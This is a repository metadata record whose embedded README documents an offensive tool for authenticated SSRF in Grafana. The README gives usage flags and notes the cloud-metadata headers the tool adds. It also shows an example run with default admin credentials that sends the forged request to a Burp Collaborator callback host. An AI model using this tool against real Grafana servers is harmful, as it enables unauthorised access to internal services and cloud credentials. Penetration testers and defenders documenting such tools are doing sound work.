{"id":13542147,"url":"https://github.com/RandomRobbieBF/grafana-ssrf","last_synced_at":"2025-04-02T09:33:20.747Z","repository":{"id":45715103,"uuid":"263641828","full_name":"RandomRobbieBF/grafana-ssrf","owner":"RandomRobbieBF","description":"Authenticated SSRF in Grafana","archived":false,"fork":false,"pushed_at":"2024-06-24T19:50:33.000Z","size":45,"stargazers_count":79,"open_issues_count":0,"forks_count":28,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-03-27T16:41:22.301Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/RandomRobbieBF.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-05-13T13:43:42.000Z","updated_at":"2025-01-07T15:07:10.000Z","dependencies_parsed_at":"2024-08-01T10:16:10.374Z","dependency_job_id":null,"html_url":"https://github.com/RandomRobbieBF/grafana-ssrf","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2Fgrafana-ssrf","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2Fgrafana-ssrf/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2Fgrafana-ssrf/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2Fgrafana-ssrf/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/RandomRobbieBF","download_url":"https://codeload.github.com/RandomRobbieBF/grafana-ssrf/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246789191,"owners_count":20834246,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-01T10:01:02.000Z","updated_at":"2025-04-02T09:33:20.482Z","avatar_url":"https://github.com/RandomRobbieBF.png","language":"Python","funding_links":[],"categories":["Exploitation"],"sub_categories":["Server Side Request Forgery"],"readme":"# grafana-ssrf\nAuthenticated SSRF in Grafana.\n\nNotes\n---\n\n* Azure metadata header has been added to all SSRFS\n* Google metadata header has been added to all SSRFS\n* SSRF will not follow redirects no matter what so ensure url is direct.\n* If login is via SSO or other none grafana logins please grab your session cookie and use the -s flag\n\nUsage\n---\n\n\n```\nusage: grafana-ssrf.py [-h] [-s SESSION] [-u URL] [-H HOST] [-f FILE] [-U USERNAME]\n                  [-P PASSWORD]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -s SESSION, --session SESSION\n                        Session Cookie Value\n  -u URL, --url URL     URL of host to check will need http or https\n  -H HOST, --host HOST  Host for Grafana\n  -f FILE, --file FILE  File of URLS to check SSRF Against\n  -U USERNAME, --username USERNAME\n                        Username for Grafana\n  -P PASSWORD, --password PASSWORD\n                        Password for Grafana\n```\n\nExample\n---\n\n```\npython3 grafana.py -U admin -P admin -H http://localhost:3000 -u http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net\nRefreshed Sources\nSSRF Source Updated\nStatus code:   200\nResponse body: \u003chtml\u003e\u003cbody\u003ec7yzzb4zyj5v14wkpi2nxvzjigz\u003c/body\u003e\u003c/html\u003e\nDeleted Old SSRF Source\n```\n\n\nDon't forget to check out what jobs we have open!\n\nhttps://bishopfox.com/jobs#open-positions - Come Join the Fox's!\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FRandomRobbieBF%2Fgrafana-ssrf","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FRandomRobbieBF%2Fgrafana-ssrf","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FRandomRobbieBF%2Fgrafana-ssrf/lists"}